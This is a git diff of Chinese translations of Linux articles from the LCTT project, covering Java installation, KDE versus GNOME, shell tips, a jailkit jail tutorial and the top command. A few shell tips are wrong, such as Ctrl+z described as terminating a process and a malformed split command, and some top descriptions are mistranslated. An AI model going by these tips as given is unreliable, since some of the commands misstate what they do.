由于Elementary OS是基于Ubuntu所以我们允许使用具有多种Java包的**WEPUD8 PPA**。
Since Elementary OS is Ubuntu based we are at liberty to use **WEPUD8 PPA** which has various Java packages in it.
1. 打开终端。
1. Open Terminal.
2. Run the command below to add Java PPA to your repository:
2. 运行以下指令添加Java的PPA到你的软件仓:
$ sudo add-apt-repository ppa:webupd8team/java
@ -19,7 +17,7 @@ Since Elementary OS is Ubuntu based we are at liberty to use **WEPUD8 PPA** whic
More info: https://launchpad.net/~webupd8team/+archive/java
Press [ENTER] to continue or ctrl-c to cancel adding it
3. Press ENTER to continue
3. 按回车继续
gpg: keyring `/tmp/tmpB5WwDG/secring.gpg' created
gpg: keyring `/tmp/tmpB5WwDG/pubring.gpg' created
@ -30,11 +28,11 @@ Since Elementary OS is Ubuntu based we are at liberty to use **WEPUD8 PPA** whic
gpg: imported: 1 (RSA: 1)
OK
4. Now update your system
4. 现在更新你的系统
$ sudo apt-get update
5. Install Java 7 by running the command below:
5. 运行以下命令安装Java 7:
$ sudo apt-get install oracle-java7-installer
@ -60,21 +58,21 @@ Since Elementary OS is Ubuntu based we are at liberty to use **WEPUD8 PPA** whic
After this operation, 473 kB of additional disk space will be used.
Do you want to continue [Y/n]?
6. Type **Y** for Yes and Press enter to continue installation.
6. 输入代表Yes的**Y**以及回车键继续安装。
7. During the installation, you need to agree to the license to continue. Select **OK**.
7. 在安装过程中,你需要同意条款才能继续。选择**OK**。
![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/JDK-ask1.png)
8. Then Select **Yes** to continue.
8. 然后选择**Yes**继续。
![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/JDK-ask2.png)
9. Now relax for the packages to be downloaded and installed automatically:
9. 现在请等待安装包的下载与自动安装:
![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/JDK-Downloading.png)
7. Installation has been completed successfully. You can now check the version of Java from the Terminal:
10. 安装完成。你可以在终端上查看Java版本:
$ java -version
java version "1.7.0_45"
@ -85,6 +83,6 @@ Since Elementary OS is Ubuntu based we are at liberty to use **WEPUD8 PPA** whic
via: http://www.unixmen.com/install-oracle-java-7-elementary-os-luna-via-ppa/
译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID)
译者:[whatever1992](https://github.com/whatever1992) 校对:[校对者ID](https://github.com/校对者ID)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出

View File

@ -0,0 +1,84 @@
KDE vs GNOME: 设置,应用和小工具
=====================================
当提到桌面环境时对你来说选择一个合适的可能是个值得深思的个人问题。在这篇文章中我会比较Gnome和KDE这两种最为流行的Linux桌面环境之间的不同之处也会通过对比它们的优缺点来探究每一种桌面环境所能提供的功能。
###第一印象
第一眼看到桌面你可能会觉得KDE看起来比Gnome更光亮并提供一个更友好的科技外观。此外如果你习惯于Windows环境屏幕底部的菜单和按钮布局会让你感觉KDE看起来更熟悉一些。你可以很容易地找到Kmenu启动程序以及仅仅点击几下鼠标就能找到文档。
KDE的另一个重要和熟悉的好处是方便地在每个打开的文档、图片和应用中使用最小化和关闭按钮。对于那些习惯其它平台的人来说这些特性可能会认为是理所当然的。但是考虑到对于像Gnome这样不再提供一个真正的最小化选项的桌面来说这里是值得给予KDE支持的。
第一次加载进入Gnome 3如果你来自另一个平台它的桌面可能被认为是很奇怪的。像经典的Gnome一样你想访问的文档和工具并不位于屏幕的底部。让新手们感到更陌生的是关闭正打开的窗口的方法是如此的“与众不同”。然而站在支持Gnome3的角度上我发现只要你习惯了这种新的做事方式会觉得这是一段相当愉快的经历。我所知道的已经试用过Gnome3的新用户们也普遍地感觉良好。
###小工具和扩展
随着我们深入了解Gnome和KDE提供的扩展和小工具这两种桌面环境之间的差别会越来越大。尽管它们都能提供可运行的附件以增强你的桌面体验但是它们在如何处理扩展功能上的分界并不相同。
KDE采用一种有趣的方式即你可以桌面小部件划分到称为“活动区”的分组中。这使得你可以创建一个包含一系列桌面小部件的活动区以处理特定的工作流。
相反地Gnome按照另一种方式定义活动区。Gnome使它的活动区更加基于任务和应用而不是以小部件为中心。例如如果我正在使用多个应用程序切换到Gnome活动区视图允许你能够可视化地、及时地访问每一个任务。
###设置你的桌面
虽然在通过GUI提供充足的设置方面Gnome做得越来越好但KDE依然是这个领域的王者。
使用KDE你可以通过设置去控制几乎桌面的每一个方面。一些诸如[OpenSUSE][1]Linux发行版通过紧密地把它们的工具 ([YaST][2]) 集成到KDE的设置环境中在这方面做得更好。
自从Gnome3之后随着Gnome桌面的更新我发现的最显著的地方是KDE正在以轻松的设置访问提供更加强大的功能。Gnome往往把特定于应用程序的设置放在一个容易找到的每个应用程序的地方。
但是KDE倾向于为应用程序提供更细粒度的控制。我最喜欢的例子之一是[Kontact][3] vs [Evolution][4]。它们分别是Gnome和KDE上很强大的个人信息管理软件。但不同的是Kontact是一套附带为每个应用程序绑定一套控制的应用程序而Evolution只是拥有有限控制的单个应用程序。在其它特定于桌面的主题中[AmaroK][5] vs [Rhythmbox][6] 也是如此。
###文件管理
当涉及到为你的桌面寻找合适的文件管理器时Gnome和KDE都能通过提供默认选择为你完成这项工作。[Nautilus][7]是Gnome的默认文件管理器而KDE提供[Dolphin][8] 作为它的默认文件管理器。
除此之外我发现Nautilus为Gnome用户提供一个光鲜的、易用的文件管理工具不会使Linux的新用户们不知所措。然而回归到KDE上对于那些想要复杂控制的人Dolphin是一个高度可配置的而不是适合新手的文件管理方案。
如果简单地观察每个文件管理器的侧边栏你会注意到Nautilus提供最直接的导航方式。但是KDE的Dolphin在诸如上一次使用文件的日期和其它相关选项的特性上做得更好。
如果你是高级的Linux用户你很可能发现自己被Dolphin吸引因为它提供了最多的选择和控制。对于那些不想通过复杂的控制导航文件的人Nautilus在简单性上更胜一筹。
###桌面应用
在Linux爱好者中引发分歧的一个地方是声明某个桌面可以提供更好的默认应用。也就是说这当然是Gnome和KDE所处的情况。
我在这个方面的发现是在一些方面Gnome不费吹灰之力就能胜出。例如GIMP、Evince和Pidegin相对它们在KDE上的同类是更少依赖的应用。以我之见Kmail是另一种应用程序它带给KDE的新用户们一个坏印象。像这类的应用是过于复杂并且在一般情况下使用起来难以捉摸。
在另一方面也有一些有价值的地方来支持KDE。[Calligra][9] vs [AbiWord][10] 对于KDE来说是轻松取胜的因为[LibreOffice][11] 并不是一个“真正的”Gnome特定选项。仅仅凭它
是很多Linux发行版的默认套件并不能使它成为桌面环境的默认选择。
最后Linux最神奇的地方之一是你可以安装GTK或者Qt库享受最符合你需求的应用程序带来的好处。对我自己我发现在大部分情况下Gnome的默认应用程序是明显的赢家。
###结语
如果我发现自己被困在一座岛上只有一种可用的桌面环境那它必须是Gnome。虽然我喜欢KDE的某些方面胜过Gnome但总体上我觉得Gnome可以花更少的功夫去持续使用。我常常发现使用KDE搞砸一堆配置甚至更糟糕譬如奇怪的警告声称我的声卡找不到。在Gnome环境下我从没有遇到这些问题。
因为我珍惜我的时间和理智所以我会持续推荐使用Gnome而不是KDE同时在适当的时候建议一些KDE应用。对于任何声称KDE更容易使用的人-我觉得指的是我从长远来看简单地学习Gnome的做事方法给我带来了更大的稳定性。
照片由[Shutterstock][12]提供。
---
via: http://www.datamation.com/open-source/kde-vs-gnome-settings-apps-widgets-2.html
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
译者:[KayGuoWhu](https://github.com/KayGuoWhu) 校对:[校对者ID](https://github.com/校对者ID)
[1]:http://www.opensuse.org/en/
[2]:http://en.opensuse.org/YaST_Software_Management
[3]:http://userbase.kde.org/Kontact
[4]:https://projects.gnome.org/evolution/
[5]:http://amarok.kde.org/
[6]:https://projects.gnome.org/rhythmbox/
[7]:http://en.wikipedia.org/wiki/Nautilus_%28file_manager%29
[8]:http://en.wikipedia.org/wiki/Dolphin_%28file_manager%29
[9]:http://www.calligra-suite.org/
[10]:http://www.abisource.com/
[11]:http://www.libreoffice.org/
[12]:http://www.shutterstock.com/pic-137314787/stock-photo-information-concept-golden-gears-on-digital-background-d-render.html

View File

@ -0,0 +1,310 @@
Linux sheel 贴士和技巧
================================================================================
我日常使用Linux shell(Bash),但是我经常忘记一些有用的命令或者shell技巧。是的,我能记住一些命令但是我不能说只在特定的任务上使用一次。那么我就开始在我的Dropbox账号里用文本文件写下这些Linux shell的贴士,现在我决定共享它。这个表我以后还会更新。记住,这里的一些贴士需要在你的Linux发行版上安装额外的软件。
在bash中检查远程端口是否打开:
echo >/dev/tcp/8.8.8.8/53 && echo "open"
终止进程:
Ctrl + z
将进程移到前台:
fg
生成随机16进制数字,n是字符的数量:
openssl rand -hex n
在当前shell中从一个文件中执行命令:
source /home/user/file.name
提取前5个字符的字串:
${variable:0:5}
SSH调试模式:
ssh -vvv user@ip_address
带pem key的SSH
ssh user@ip_address -i key.pem
用wget获取完整目录列表到本地目录:
wget -r --no-parent --reject "index.html*" http://hostname/ -P /home/user/dirs
创建多个目录:
mkdir -p /home/user/{test,test1,test2}
列出带子进程的进程树:
ps axwef
创建war文件:
jar -cvf name.war file
测试磁盘写速度:
dd if=/dev/zero of=/tmp/output.img bs=8k count=256k conv=fdatasync; rm -rf /tmp/output.img
测试磁盘读速度:
hdparm -Tt /dev/sda
从文本中获取md5值:
echo -n "text" | md5sum
检测xml语法:
xmllint --noout file.xml
在新的目录中提取tar.gz文件:
tar zxvf package.tar.gz -C new_dir
用curl获取HTTP头:
curl -I http://www.example.com
修改一些文件或目录的时间戳 (YYMMDDhhmm):
touch -t 0712250000 file
使用wget从ftp下载:
wget -m ftp://username:password@hostname
生成随机密码 (本例中16位字符长):
LANG=c < /dev/urandom tr -dc _A-Z-a-z-0-9 | head -c${1:-16};echo;
快速创建一个文件的备份:
cp some_file_name{,.bkp}
访问Windows共享:
smbclient -U "DOMAIN\user" //dc.domain.com/share/test/dir
在历史中运行命令 (这里在第100行):
!100
unzip到目录中:
unzip package_name.zip -d dir_name
多行文字 (按 CTRL + d 退出):
cat > test.txt
创建空白的文件或者已存在的文件:
> test.txt
从Ubuntu NTP服务器上更新日期:
ntpdate ntp.ubuntu.com
netstat 显示所有tcp4监听的端口:
netstat -lnt4 | awk '{print $4}' | cut -f2 -d: | grep -o '[0-9]*'
将qcow2图像转化成raw:
qemu-img convert -f qcow2 -O raw precise-server-cloudimg-amd64-disk1.img \
precise-server-cloudimg-amd64-disk1.raw
重复运行命令,显示它的输出 (默认2s刷新):
watch ps -ef
显示所有用户:
getent passwd
以读写模式挂载root:
mount -o remount,rw /
挂在目录 (适合于符号链接不成功的情况下):
mount --bind /source /destination
发送动态更新给DNS:
nsupdate < <EOF
update add $HOST 86400 A $IP
send
EOF
递归grep所有目录
grep -r "some_text" /path/to/dir
列出10个最大的已打开的文件:
lsof / | awk '{ if($7 > 1048576) print $7/1048576 "MB "$9 }' | sort -n -u | tail
以MB显示空余内存:
free -m | grep cache | awk '/[0-9]/{ print $4" MB" }'
打开vim并跳转到文件最后:
vim + some_file_name
git clone特定branch (master):
git clone git@github.com:name/app.git -b master
git切换到另外一个branch (develop):
git checkout develop
git删除一个branch(myfeature):
git branch -d myfeature
Git删除一个远程branch:
git push origin :branchName
Git push 新的branch到远程:
git push -u origin mynewfeature
打印history中最后的cat命令
!cat:p
运行history中的最后的cat命令:
!cat
找出在/home/user中的所有空子目录:
find /home/user -maxdepth 1 -type d -empty
得到test.txt中50到60行的文本:
< test.txt sed -n '50,60p'
运行最后的命令 (如果是: mkdir /root/test, 下面会运行: sudo mkdir /root/test):
sudo !!
创建临时RAM文件系统 - ramdisk (首先创建在 /tmpram 目录):
mount -t tmpfs tmpfs /tmpram -o size=512m
Grep完整单词:
grep -w "name" test.txt
需要特权模式在一个文件后追加文本:
echo "some text" | sudo tee -a /path/file
列出所有的kill信号:
kill -l
生成随机密码 (本例中16个字符长):
openssl rand -base64 16
在bash历史中不记录最后的会话:
kill -9 $$
扫描网络找出打开的端口:
nmap -p 8081 172.20.0.0/16
设置git email:
git config --global user.email "me@example.com"
如果你有未提交的commit,与master同步:
git pull --rebase origin master
将文件中含有txt的所有文件移动到/home/user:
find -iname "*txt*" -exec mv -v {} /home/user \;
一行行合并文件:
paste test.txt test1.txt
shell中的进度条:
pv data.log
用netcat发送数据给服务器:
echo "hosts.sampleHost 10 `date +%s`" | nc 192.168.200.2 3000
转换tab到空格:
expand test.txt > test1.txt
跳过bash历史:
< <space>>cmd
回到先前的工作目录:
cd -
切割大的tar.gz文件 (每个 100MB) 并还原:
split b 100m /path/to/large/archive /path/to/output/files
cat files* > archive
用curl获取HTTP状态值:
curl -sL -w "%{http_code}\\n" www.example.com -o /dev/null
当 Ctrl + c 没用时:
Ctrl + \
获取文件所有者:
stat -c %U file.txt
列出块设备:
lsblk -f
找出末尾空格的文件:
find . -type f -exec egrep -l " +$" "{}" \;
找出用tab缩进的文件:
find . -type f -exec egrep -l $'\t' "{}" \;
用"="打印水平行
printf '%100s\n' | tr ' ' =
**更新: 2013年11月25日**
--------------------------------------------------------------------------------
via: http://www.techbar.me/linux-shell-tips/
译者:[geekpi](https://github.com/geekpi) 校对:[校对者ID](https://github.com/校对者ID)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出

View File

@ -0,0 +1,266 @@
在Ubuntu下用jailkit建立一个被监禁的Shell
================================================================================
### Jailkit和jailed Shell ###
监狱性的shell是一类限制性的shell提供给用户非常真实的Shell模样但是不允许它查看和修改真正的文件系统。Shell内的文件系统不同于底层的文件系统。这种功能是通过chroot和其他多种程序实现的。举例来说建立一个用户的linux shell可能仅仅为了玩耍。或者在一个限定的环境里运行一些程序的所有功能等。
在这个教程里我们将会探讨在Ubuntu下用jailkit建立一个监禁的shell。Jailkit是辅助程序允许快速的建立一个监禁的shell监禁的用户在受监禁的环境里配置程序并运行。
Jailkit can be downloaded from [http://olivier.sessink.nl/jailkit/][1]
我们已经谈论过关于在Ubuntu下安装jailkit如果有不懂多看看那篇文章。
### 配置jailed Shell ###
#### 配置jail环境 ####
我们需要建立一个目录来存放所有jail环境的配置。这不是重点我们可以创建个/opt/jail的目录。
$ sudo mkdir /opt/jail
这个目录应为Root所有。所以用chown。
$ sudo chown root:root /opt/jail
#### 2. 设置在jail中可用的程序 ####
任何程序想要在jail中执行则必须用jk_init命令拷贝到目录中。
例如:
$ sudo jk_init -v /jail basicshell
$ sudo jk_init -v /jail editors
$ sudo jk_init -v /jail extendedshell
$ sudo jk_init -v /jail netutils
$ sudo jk_init -v /jail ssh
$ sudo jk_init -v /jail sftp
$ sudo jk_init -v /jail jk_lsh
或一次性解决:
$ sudo jk_init -v /opt/jail netutils basicshell jk_lsh openvpn ssh sftp
像basicshell, editors, netutils是一些组名其中包含多个程序。复制到jail shell中的每个组都是可执行文件,库文件等的集合。比如**basicshell**就在jail提供有bash, ls, cat, chmod, mkdir, cp, cpio, date, dd, echo, egrep等程序。
完整的程序列表设置,你可以在/etc/jailkit/jk_init.ini中查看。
jk_lsh (Jailkit limited shell) - is an important section, and must be added.
#### 3. 创建将被监禁的用户 ####
需要将用户放入jail里。可以先创建一个
$ sudo adduser robber
Adding user `robber' ...
Adding new group `robber' (1005) ...
Adding new user `robber' (1006) with group `robber' ...
Creating home directory `/home/robber' ...
Copying files from `/etc/skel' ...
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
Changing the user information for robber
Enter the new value, or press ENTER for the default
Full Name []:
Room Number []:
Work Phone []:
Home Phone []:
Other []:
Is the information correct? [Y/n] y
注意:目前创建的是一个活动在文件系统中的普通用户并没有添加到jail中。
在下一步这个用户会被监禁在jail里。
这时候如果你查看/etc/passwd文件你会在文件最后看到跟下面差不多的一个条目。
robber:x:1006:1005:,,,:/home/robber:/bin/bash
这是我们新创建的用户,最后部分的/bin/bash指示了这个用户如果登入了那么它可以在系统上正常的Shell访问
#### 4. 监禁用户 ####
现在是时候将用户监禁在jail中
$ sudo jk_jailuser -m -j /opt/jail/ robber
执行上列命令后用户robber将会被监禁。
如果你现在再观察/etc/passwd文件会发现类似下面的最后条目。
robber:x:1006:1005:,,,:/opt/jail/./home/robber:/usr/sbin/jk_chrootsh
注意:最后两部分表明用户主目录和shell类型已经被改变了。现在用户的主目录在/opt/jail(jail环境)中。用户的Shell是一个名叫jk_chrootsh的特殊程序会提供jailed Shell。
jk_chrootsh这是个特殊的shell每当用户登入系统时它都会将用户放入jail中。
到目前为止jail配置已经几乎完成了。但是如果你试图用ssh连接那么注定会失败,像这样:
$ ssh robber@localhost
robber@localhost's password:
Welcome to Ubuntu 12.04 LTS (GNU/Linux 3.2.0-25-generic x86_64)
* Documentation: https://help.ubuntu.com/
13 packages can be updated.
0 updates are security updates.
*** /dev/sda7 will be checked for errors at next reboot ***
*** /dev/sda8 will be checked for errors at next reboot ***
Last login: Sat Jun 23 12:45:13 2012 from localhost
Connection to localhost closed.
$
连接会立马关闭这意味着用户已经活动在一个受限制的shell中。
#### 5. 给在jail中的用户Bash Shell ####
下个重要的事情是给用户一个正确的bash shell但是他却在jail中。
打开下面的文件
/opt/jail/etc/passwd
这是个jail中的password文件。类似如下
root:x:0:0:root:/root:/bin/bash
robber:x:1006:1005:,,,:/home/robber:/usr/sbin/jk_lsh
将/usr/sbin/jk_lsh改为/bin/bash
root:x:0:0:root:/root:/bin/bash
robber:x:1006:1005:,,,:/home/robber:/bin/bash
保存文件并退出。
#### 6. 登入jail ####
现在让我们再次登入jail
$ ssh robber@localhost
robber@localhost's password:
Welcome to Ubuntu 12.04 LTS (GNU/Linux 3.2.0-25-generic x86_64)
* Documentation: https://help.ubuntu.com/
13 packages can be updated.
0 updates are security updates.
*** /dev/sda7 will be checked for errors at next reboot ***
*** /dev/sda8 will be checked for errors at next reboot ***
Last login: Sat Jun 23 12:46:01 2012 from localhost
bash: groups: command not found
I have no name!@desktop:~$
jail说'I have no name!'哈哈。现在我们在jail中有个完整功能的bash shell。
现在通过操作检查环境。jail中的root /实际就是真实文件系统中的/opt/jail.但这只有我们自己知道jail用户并不知情。
I have no name!@desktop:~$ cd /
I have no name!@desktop:/$ ls
bin dev etc home lib lib64 run usr var
I have no name!@desktop:/$
也只有我们通过jk_cp拷贝到jail中的命令能使用。
如果登入失败,请检查一下/var/log/auth.log的错误信息。
现在尝试运行一些网络命令类似wget的命令。
$ wget http://www.google.com/
如果你获得类似的错误提示:
$ wget http://www.google.com/
--2012-06-23 12:56:43-- http://www.google.com/
Resolving www.google.com (www.google.com)... failed: Name or service not known.
wget: unable to resolve host address `www.google.com'
你可以通过运行下列两条命令来解决这个问题:
$ sudo jk_cp -v -j /opt/jail /lib/x86_64-linux-gnu/libnss_files.so.2
$ sudo jk_cp -v -j /opt/jail /lib/x86_64-linux-gnu/libnss_dns.so.2
这样才能正确的定位到libnss_files.so和libnss_dns.so
### 在jail中运行程序或服务  ###
此时此刻配置已经完成了。Jails可以在限制/安全的环境里运行程序或服务。用**jk_chrootlaunch**命令在jail中启动一个程序或守护进程。
$ sudo jk_chrootlaunch -j /opt/jail -u robber -x /some/command/in/jail
jk_chrootlaunch工具可以在jail环境中启动一个特殊的进程同时指定用户特权。如果守护进程启动失败请检查/var/log/syslog/错误信息。
在jail中运行程序之前该程序必须已经用jk_cp命令复制到jail中。
jk_cp - 将文件包括权限信息和库文件复制到jail的工具 
进一步阅读有关其他jailkit命令信息可以阅读文档[http://olivier.sessink.nl/jailkit/][1]
--------------------------------------------------------------------------------
via: http://www.binarytides.com/setup-jailed-shell-jailkit-ubuntu/
译者:[Luoxcat](https://github.com/Luoxcat) 校对:[校对者ID](https://github.com/校对者ID)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:http://olivier.sessink.nl/jailkit/
[2]:
[3]:
[4]:
[5]:
[6]:
[7]:
[8]:
[9]:
[10]:
[11]:
[12]:

View File

@ -1,26 +0,0 @@
用Briquolo,打砖块游戏,测试你的反应速度
================================================================================
[Briquolo][2]是一款快速而又迷人的游戏,处理一个球来破坏不同的物体,经典而又令人愉悦。
Briquolo十分考验敏捷因此游戏玩家必需时刻注意球的走向一不留神就可能让球掉落。
启动游戏后玩家会意识到这是一款3D游戏以3D对象展现的华丽木块浮动在一个多彩的环境里当击破木块时有机率掉落特殊物体毫无疑问获取它们是至关重要的会改变球或滑板的状态比如球会加速但有时候也会给你带来麻烦。
通过音乐和其他选项的修改,到达精致的效果(包括游戏全屏,高分辨率,--可调至1920×1080--)呈现一个有趣而又富有挑战性的Briquolo。
![](http://iloveubuntu.net/pictures_me/Briquolo%20usc.jpg)
Briquolo 0.5.7是[可靠的][2]自由软件,可通过Ubuntu软件中心安装(Ubuntu 12.04, Ubuntu 12.04, Ubuntu 13.04, Ubuntu 13.10, Ubuntu 14.04)。
--------------------------------------------------------------------------------
via: http://iloveubuntu.net/test-your-reflexes-briquolo-fast-breakout-game
译者:[Luoxcat](https://github.com/Luoxcat) 校对:[校对者ID](https://github.com/校对者ID)
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
[1]:http://briquolo.free.fr/en/
[2]:apt://briquolo

View File

@ -1,290 +0,0 @@
难以置信! 30个top命令示例以及截图
================================================================================
Linux中的top命令显示系统上正在运行的进程。它是系统管理员最重要的工具之一。被广泛用于监视服务器的负载。在本篇中我们会探索top命令的细节。top命令是一个交互命令。在运行top的时候还可以运行很多命令。我们也会探索这些命令。
### 1. Top 命令输出: ###
首先让我们理解一下输出。top命令会显示系统的很多信息。我们需要理解不同部分输出的意义默认运行top命令会显示如下输出
![Top default display](http://linoxide.com/wp-content/uploads/2013/11/01.top_default.png)
First few lines are horizontal showing summary about different system 前几行水平显示了不同系统参数的概括,接下来是进程和它们在列中的属性。
#### 1.1 系统运行时间和平均负载: ####
![Uptime display](http://linoxide.com/wp-content/uploads/2013/11/02.top_uptime.png)
top命令的顶部显示与uptime命令相似的输出。
这些字段显示:
- 当前时间
- 系统运行的时间
- 登陆用户的数量
- 相应最近5、10和15分钟内的平均负载。
无法使用'l'命令触发uptime的显示。
#### 1.2 任务: ####
![Task summary](http://linoxide.com/wp-content/uploads/2013/11/03.top_tasks.png)
第二行显示的是任务或者进程的总结。进程可以在不同的状态。他显示了全部进程的数量。除此之外,还有正在运行、睡眠、停止、僵尸进程的数量(僵尸是一种进程的状态,这些进程概括可以用't'触发)。
#### 1.3 CPU 状态: ####
![CPU status display](http://linoxide.com/wp-content/uploads/2013/11/04.top_cpu_states.png)
下一行显示的是CPU状态。 这里显示了不同模式下的CPU时间 %age。这些不同的CPU时间表示:
- us, user 运行(未调整优先级的) 用户进程的CPU时间
- sysystem: 运行内核进程的CPU时间
- niniced运行已调整优先级的用户进程的CPU时间
- waIO wait: 用于等会IO完成的CPU时间
- hi处理硬件中断的CPU时间
- si: 处理软件中断的CPU时间
- st被hypervisor偷去用于vm的CPU时间。
这个无法使用't'命令触发。
#### 1.4 内存使用: ####
![Memory usage](http://linoxide.com/wp-content/uploads/2013/11/05.top_mem_usage.png)
接下来两行显示内存使用率,有点像'free'命令。第一行是物理内存使用,第二行是虚拟内存使用(交换空间)。
物理内存显示如下:全部可用内存、已使用内存、空闲内存、缓冲内存。相似地:交换反映的是:全部、已使用、空闲和缓冲交换空间。内存显示可以用'm'命令触发。
#### 1.5 字段/列: ####
![Top columns](http://linoxide.com/wp-content/uploads/2013/11/06.top_fields.png)
在水平的系统属性和状态后,下面是以列显示的进程。不同的列代表下面要讨论的不同的属性。
默认上top显示这些关于进程的属性。
**PID**
进程ID进程的唯一标识符
**USER**
进程所有者的实际用户名。
**PR**
进程的调度优先级。这个字段的一些值是'rt'。这意味这这些进程运行在实时态。
**NI**
进程的nice值。低的值意味这更高的优先级。
**VIRT**
进程使用的虚拟内存。
**RES**
驻留内存大小。驻留内存是任务使用的非交换物理内存大小。
**SHR**
SHR是进程使用的共享内存。
**S**
这个是进程的状态。它有以下不同的值:
- D - 不可中断的睡眠态。
- R 运行态
- S 睡眠态
- T 被追踪或已停止
- Z 僵尸态
**%CPU**
自从上一次更新时到现在任务所使用的CPU时间百分比。
**%MEM**
进程使用的可用物理内存百分比。
**TIME+**
任务启动后到现在所使用的全部CPU时间精确到百分之一秒。
**COMMAND**
运行进程所使用的命令。
还有许多在默认情况下不会显示的输出它们可以显示进程的页错误、有效组和组ID和其他更多的信息。
### 2. 交互命令: ###
我们之前讨论过top是一个交互命令。上一章我们已经遇到了一些命令。这里我们会探索更多的命令。
#### 2.1 h: 帮助 ####
首先,我们可以用'h'或者'?'显示交互命令的帮助菜单。
![Help options](http://linoxide.com/wp-content/uploads/2013/11/07.top_help.png)
#### 2.2 <ENTER> 或者 <SPACE>: 刷新显示 ####
top命令默认在一个特定间隔(3秒)后刷新显示。要手动刷新,用户可以输入回车或者空格。
#### 2.3 A: 触发交替显示模式 ####
这个命令在全屏和交替模式间切换。在交替模式下会显示4个窗口:
1. Def
2. Job
3. Mem
4. Usr
四个字段都有唯一独立的可配置的概括区域和它自i就的任务驱动。4个窗口中只有一个窗口会成为当前窗口。当前窗口显示在左上方。
![Alternative display mode](http://linoxide.com/wp-content/uploads/2013/11/08.top_alternative_display.png)
我们可以用'a'和'w'在4个 窗口间切换。'a'移到后一个窗口,'w'移到前一个窗口。用'g'命令你可以输入一个数字来选择当前窗口。
![Window selection in alternative display](http://linoxide.com/wp-content/uploads/2013/11/09.top_alternate_window_selection.png)
#### 2.4 B: 触发粗体显示 ####
Some important information is shown in bold characters. This command toggles use of bold.
一些重要信息会以加粗字体显示。这个命令触发使用粗体。
![Bold off](http://linoxide.com/wp-content/uploads/2013/11/10.top_bold_display_off.png)
#### 2.5 d or s: 设置显示的时间间隔 ####
当按下'd'或's'时你将被提示输入一个值以秒为单位它会以设置的值作为显示间隔。如果你这里输入了1, top将会每秒刷新。
![Display time interval](http://linoxide.com/wp-content/uploads/2013/11/11.top_display_time_interval.png)
#### 2.6 ltm: 触发负载、任务、内存信息 ####
这会相应地触发平均负载、任务/CPU状态和内存信息。
![Load average off](http://linoxide.com/wp-content/uploads/2013/11/12.top_load_average_display_off.png)
![CPU summary off](http://linoxide.com/wp-content/uploads/2013/11/13.top_cpu_display_off.png)
![Memory and swap usage off](http://linoxide.com/wp-content/uploads/2013/11/14.top_mem_display_off.png)
![All three displays off](http://linoxide.com/wp-content/uploads/2013/11/15.top_all_three_display_off.png)
#### 2.7 f: 字段管理 ####
用于选择你想要显示的字段。用'*'标记的是已选择的。
![Managing columns](http://linoxide.com/wp-content/uploads/2013/11/16.top_field_management.png)
< and >
'<'移动已排序的字段到左边,'>'则移动到右边。
#### 2.8 R: 反向排序 ####
触发反向/常规排序。
#### 2.9 c: 触发命令 ####
触发显示进程启动时的完整路径和程序名。
![Full command path](http://linoxide.com/wp-content/uploads/2013/11/17.top_command_name_displayed.png)
#### 2.10 i: Idle Tasks ####
触发空闲任务。
![Idle task display off](http://linoxide.com/wp-content/uploads/2013/11/18.top_idle_tasks_off.png)
#### 2.11 V: 树试图 ####
触发树视图。
![Forest view of tasks](http://linoxide.com/wp-content/uploads/2013/11/19.top_forest_view.png)
#### 2.12 Z: 改变颜色映射 ####
按下'Z'向用户显示一个top命令的输出颜色可以改变的屏幕。这里有8个任务区域和8种颜色。
![Customizing colors](http://linoxide.com/wp-content/uploads/2013/11/20.top_color_selection.png)
下面显示的是4中颜色显示的top视图。
![Colored display](http://linoxide.com/wp-content/uploads/2013/11/21.top_colored.png)
#### 2.13 z: 触发彩色 ####
触发彩色,即打开或关闭彩色显示。
#### 2.14 x 或者 y ####
触发高亮:'x'排序字段;'y'运行进程。依赖于你的显示设置,你可能需要让输出彩色画来通知这些高亮。
![X and Y highlighted](http://linoxide.com/wp-content/uploads/2013/11/22.top_x_y_displayed.png)
#### 2.15 u: 用户的进程 ####
显示特定用户的进程。你会被提示输入用户名。空白将会显示全部用户。
![Processes of 'raghu' user](http://linoxide.com/wp-content/uploads/2013/11/23.top_raghu_processes.png)
#### 2.16 n or #: 任务的数量 ####
设置最大显示的任务数量
![Setting number of tasks displayed](http://linoxide.com/wp-content/uploads/2013/11/24.top_10_processes.png)
#### 2.17 k: 结束任务 ####
top命令中最重要的一个命令。用于发送信号给任务(通常是结束任务)。
![Killing a task](http://linoxide.com/wp-content/uploads/2013/11/25.top_kill_task.png)
#### 2.18 r: 重新调整优先级 ####
重新调整一个任务的调度优先级。
### 3. 命令行选项: ###
大多数这些命令行选项与上面讨论的命令相同。top的输出可以用命令交互操作。但是你可以带参数运行top来设置你想要的。
#### 3.1 -b: 批处理模式 ####
-b选项以批处理模式启动top命令。当你想要在文件中保存输出时是很有用的。
#### 3.2 -c: 命令/程序名 触发: ####
如上面所讨论到的命令,这个选项会以上次记住的程序/命令显示的状态显示。
#### 3.3 -d: 设置延迟间隔 ####
设置top的显示间隔(以秒计)。比如。
$ top -d 1
将会以1s的时间间隔启动top
#### 3.4 -i: 空闲进程触发 ####
这个选项设置top命令的上一次记住的相反的'i'状态。
#### 3.5 -n: 设置迭代数量 ####
用-n选项你可以设置top退出前迭代的次数。
$ top -n 3
将会在3次输出后退出。
#### 3.6 -p: 监控特定的PID ####
你可以用-p选项监控指定的PID。PID的值为0将被作为top命令自身的PID。
#### 3.7 -u or -U: 用户名 或者 UID ####
可以用这些选项浏览特定用户的进程。用户名或者UID可以在选项中指定。-p、-u和-U选项是互斥的。同时只可以使用这其中一个选项。当你试图组合使用这些选项时你会得到一个错误:
$ top -p 28453 -u raghu
